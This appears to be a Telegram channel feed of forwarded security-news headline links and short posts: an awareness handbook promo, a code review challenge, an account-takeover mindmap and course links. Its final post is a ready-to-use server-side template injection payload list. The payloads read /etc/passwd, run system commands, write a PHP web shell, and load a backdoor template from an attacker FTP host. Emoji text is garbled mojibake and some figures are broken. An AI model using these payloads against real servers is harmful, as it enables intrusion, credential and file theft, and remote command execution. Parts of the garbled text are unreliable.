Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
π‘οΈ Justt Secures 0M in Series C Funding Amidst Chargeback Boom
https://undercodenews.com/justt-secures-0m-in-series-c-funding-amidst-chargeback-boom/
@Undercode_News
https://undercodenews.com/justt-secures-0m-in-series-c-funding-amidst-chargeback-boom/
@Undercode_News
UNDERCODE NEWS
Justt Secures 0M in Series C Funding Amidst Chargeback Boom - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information andβ¦
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
Bashe #Ransomware Group Strikes: Federal Bank in India Targeted
https://undercodenews.com/bashe-ransomware-group-strikes-federal-bank-in-india-targeted/
@Undercode_News
https://undercodenews.com/bashe-ransomware-group-strikes-federal-bank-in-india-targeted/
@Undercode_News
UNDERCODE NEWS
Bashe Ransomware Group Strikes: Federal Bank in India Targeted - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information andβ¦
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
Level Up Your Business: 10,000 Nigerian MSMEs Get a #Digital Boost
https://undercodenews.com/level-up-your-business-10000-nigerian-msmes-get-a-digital-boost/
@Undercode_News
https://undercodenews.com/level-up-your-business-10000-nigerian-msmes-get-a-digital-boost/
@Undercode_News
UNDERCODE NEWS
Level Up Your Business: 10,000 Nigerian MSMEs Get a Digital Boost - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information andβ¦
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
β‘οΈ #IBM's Granite 31: A New Enterprise #AI
https://undercodenews.com/ibms-granite-31-a-new-enterprise-ai/
@Undercode_News
https://undercodenews.com/ibms-granite-31-a-new-enterprise-ai/
@Undercode_News
UNDERCODE NEWS
IBM's Granite 31: A New Enterprise AI - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information andβ¦
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
π‘οΈ Elon Musk's #SpaceX Under Scrutiny: A Security Concern?
https://undercodenews.com/elon-musks-spacex-under-scrutiny-a-security-concern/
@Undercode_News
https://undercodenews.com/elon-musks-spacex-under-scrutiny-a-security-concern/
@Undercode_News
UNDERCODE NEWS
Elon Musk's SpaceX Under Scrutiny: A Security Concern? - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information andβ¦
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
Raccoon Stealer's Mastermind Sentenced to Five Years
https://undercodenews.com/raccoon-stealers-mastermind-sentenced-to-five-years/
@Undercode_News
https://undercodenews.com/raccoon-stealers-mastermind-sentenced-to-five-years/
@Undercode_News
UNDERCODE NEWS
Raccoon Stealer's Mastermind Sentenced to Five Years - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information andβ¦
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
π‘οΈ #Samsung #Galaxy A53 5G Gets December 2024 Security Patch
https://undercodenews.com/samsung-galaxy-a53-5g-gets-december-2024-security-patch/
@Undercode_News
https://undercodenews.com/samsung-galaxy-a53-5g-gets-december-2024-security-patch/
@Undercode_News
UNDERCODE NEWS
Samsung Galaxy A53 5G Gets December 2024 Security Patch - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information andβ¦
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
π Typosquatting Attacks Target Popular npm Packages
https://undercodenews.com/typosquatting-attacks-target-popular-npm-packages/
@Undercode_News
https://undercodenews.com/typosquatting-attacks-target-popular-npm-packages/
@Undercode_News
UNDERCODE NEWS
Typosquatting Attacks Target Popular npm Packages - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information andβ¦
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
π οΈ #Windows 11 Slowdown? Quick Fixes for a Smoother Experience
https://undercodenews.com/windows-11-slowdown-quick-fixes-for-a-smoother-experience/
@Undercode_News
https://undercodenews.com/windows-11-slowdown-quick-fixes-for-a-smoother-experience/
@Undercode_News
UNDERCODE NEWS
Windows 11 Slowdown? Quick Fixes for a Smoother Experience - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information andβ¦
Forwarded from UNDERCODE TESTING
π¦Master Cybersecurity Awareness: Protect Yourself in the Digital World!
In the ever-evolving digital landscape, cyber threats are becoming increasingly sophisticated. Whether youβre an individual user or a professional, understanding cybersecurity is crucial to protecting your data, privacy, and assets.
π The Cybersecurity Awareness Handbook is your one-stop guide to safeguarding your online presence. Hereβs what it covers:
π Key Insights in the Handbook
1οΈβ£ Understanding Cyber Threats
β’ Learn about phishing, ransomware, malware, and social engineering attacks.
β’ Understand how attackers exploit vulnerabilities in systems and human behavior.
2οΈβ£ Building Strong Cyber Defenses
β’ Create robust passwords and implement multi-factor authentication (MFA).
β’ Discover the importance of regular software updates and patch management.
3οΈβ£ Safe Online Practices
β’ Tips for secure online shopping and social media usage.
β’ Identifying fake websites and avoiding harmful downloads.
4οΈβ£ Incident Response Plans
β’ Step-by-step guidance on responding to data breaches or system compromises.
β’ Learn about reporting cybercrimes and recovering from attacks.
5οΈβ£ Empowering Your Workplace
β’ Tips for creating a cybersecurity culture in professional environments.
β’ How employees can become the first line of defense against cyber threats.
π‘ Why You Need This Handbook
β’ Stay Ahead of Threats: Cybersecurity is evolving daily; this guide keeps you informed.
β’ Actionable Tips: Practical steps to implement immediately for better security.
β’ Comprehensive Knowledge: From basic concepts to advanced strategies, itβs all here.
π‘ Ready to strengthen your cybersecurity skills?
Download the Cybersecurity Awareness Handbook now and take charge of your online safety.
Ref: Mahesh Girhe
@UndercodeCommunity
β β β Uππ»βΊπ«Δπ¬πβ β β β
In the ever-evolving digital landscape, cyber threats are becoming increasingly sophisticated. Whether youβre an individual user or a professional, understanding cybersecurity is crucial to protecting your data, privacy, and assets.
π The Cybersecurity Awareness Handbook is your one-stop guide to safeguarding your online presence. Hereβs what it covers:
π Key Insights in the Handbook
1οΈβ£ Understanding Cyber Threats
β’ Learn about phishing, ransomware, malware, and social engineering attacks.
β’ Understand how attackers exploit vulnerabilities in systems and human behavior.
2οΈβ£ Building Strong Cyber Defenses
β’ Create robust passwords and implement multi-factor authentication (MFA).
β’ Discover the importance of regular software updates and patch management.
3οΈβ£ Safe Online Practices
β’ Tips for secure online shopping and social media usage.
β’ Identifying fake websites and avoiding harmful downloads.
4οΈβ£ Incident Response Plans
β’ Step-by-step guidance on responding to data breaches or system compromises.
β’ Learn about reporting cybercrimes and recovering from attacks.
5οΈβ£ Empowering Your Workplace
β’ Tips for creating a cybersecurity culture in professional environments.
β’ How employees can become the first line of defense against cyber threats.
π‘ Why You Need This Handbook
β’ Stay Ahead of Threats: Cybersecurity is evolving daily; this guide keeps you informed.
β’ Actionable Tips: Practical steps to implement immediately for better security.
β’ Comprehensive Knowledge: From basic concepts to advanced strategies, itβs all here.
π‘ Ready to strengthen your cybersecurity skills?
Download the Cybersecurity Awareness Handbook now and take charge of your online safety.
Ref: Mahesh Girhe
@UndercodeCommunity
β β β Uππ»βΊπ«Δπ¬πβ β β β
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
β‘οΈ #Google #Chrome's New Tab Trick: Archiving Duplicates on #Android
https://undercodenews.com/google-chromes-new-tab-trick-archiving-duplicates-on-android/
@Undercode_News
https://undercodenews.com/google-chromes-new-tab-trick-archiving-duplicates-on-android/
@Undercode_News
UNDERCODE NEWS
Google Chrome's New Tab Trick: Archiving Duplicates on Android - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information andβ¦
Forwarded from UNDERCODE TESTING
π¦ Secure Code Review Challenge 16:
The goal of this challenge is to pop a shell π and then provide concrete code-level remediation guidance on how to fix the vulnerability.
You can run the challenge on your machine by cloning the GitHub repo > GET <, navigating into './challenge-16', and running 'docker-compose up'.
Ref: Florian WalterFlorian Walter
@UndercodeCommunity
β β β Uππ»βΊπ«Δπ¬πβ β β β
The goal of this challenge is to pop a shell π and then provide concrete code-level remediation guidance on how to fix the vulnerability.
You can run the challenge on your machine by cloning the GitHub repo > GET <, navigating into './challenge-16', and running 'docker-compose up'.
Ref: Florian WalterFlorian Walter
@UndercodeCommunity
β β β Uππ»βΊπ«Δπ¬πβ β β β
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
π₯οΈ Informative #NASA Successfully Tests SLS Launch Control System
https://undercodenews.com/informative-nasa-successfully-tests-sls-launch-control-system/
@Undercode_News
https://undercodenews.com/informative-nasa-successfully-tests-sls-launch-control-system/
@Undercode_News
UNDERCODE NEWS
Informative NASA Successfully Tests SLS Launch Control System - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information andβ¦
Forwarded from UNDERCODE TESTING
π¦How Account Takeover Techniques: Critical Vulnerabilities Mindmap" ?
Account takeover (ATO) is a critical vulnerability that can compromise sensitive user data and system integrity. This mindmap outlines various ATO techniques, including:
IDOR in Password Reset
Password Reset Poisoning
Mass Assignment
OAuth Misconfigurations
Improper Rate-Limit Checks etc...........
Ref: AMIT KUMAR
@UndercodeCommunity
β β β Uππ»βΊπ«Δπ¬πβ β β β
Account takeover (ATO) is a critical vulnerability that can compromise sensitive user data and system integrity. This mindmap outlines various ATO techniques, including:
IDOR in Password Reset
Password Reset Poisoning
Mass Assignment
OAuth Misconfigurations
Improper Rate-Limit Checks etc...........
Ref: AMIT KUMAR
@UndercodeCommunity
β β β Uππ»βΊπ«Δπ¬πβ β β β
Forwarded from UNDERCODE TESTING
π¦FREE courses to boost your skills! π
1. Splunk Courses
lnkd.in/d_dZNduf
2. Fortinet Courses
lnkd.in/dmmkZ-tH
3. AttackIQ MITRE ATT&CK Courses
lnkd.in/dcfmSPEJ
4. Microsoft SC-200 Course
lnkd.in/dbCn3k4n
5. Awesome OSINT Courses
lnkd.in/dTCaCf-u
6. CSILinux Forensic Trainings
lnkd.in/dhjwx_5h
Ref: Mohamed Hamdi
@UndercodeCommunity
β β β Uππ»βΊπ«Δπ¬πβ β β β
1. Splunk Courses
lnkd.in/d_dZNduf
2. Fortinet Courses
lnkd.in/dmmkZ-tH
3. AttackIQ MITRE ATT&CK Courses
lnkd.in/dcfmSPEJ
4. Microsoft SC-200 Course
lnkd.in/dbCn3k4n
5. Awesome OSINT Courses
lnkd.in/dTCaCf-u
6. CSILinux Forensic Trainings
lnkd.in/dhjwx_5h
Ref: Mohamed Hamdi
@UndercodeCommunity
β β β Uππ»βΊπ«Δπ¬πβ β β β
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
#Windows 11 24H2: A Buggy Mess?
https://undercodenews.com/windows-11-24h2-a-buggy-mess/
@Undercode_News
https://undercodenews.com/windows-11-24h2-a-buggy-mess/
@Undercode_News
UNDERCODE NEWS
Windows 11 24H2: A Buggy Mess? - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information andβ¦
Forwarded from UNDERCODE TESTING
π¦New SSTI (Server Side Template Injection) - Payloads
Generic
${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}
PHP
{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Python
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
Ref: Aman Dara
@UndercodeCommunity
β β β Uππ»βΊπ«Δπ¬πβ β β β
Generic
${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}
PHP
{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Python
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
Ref: Aman Dara
@UndercodeCommunity
β β β Uππ»βΊπ«Δπ¬πβ β β β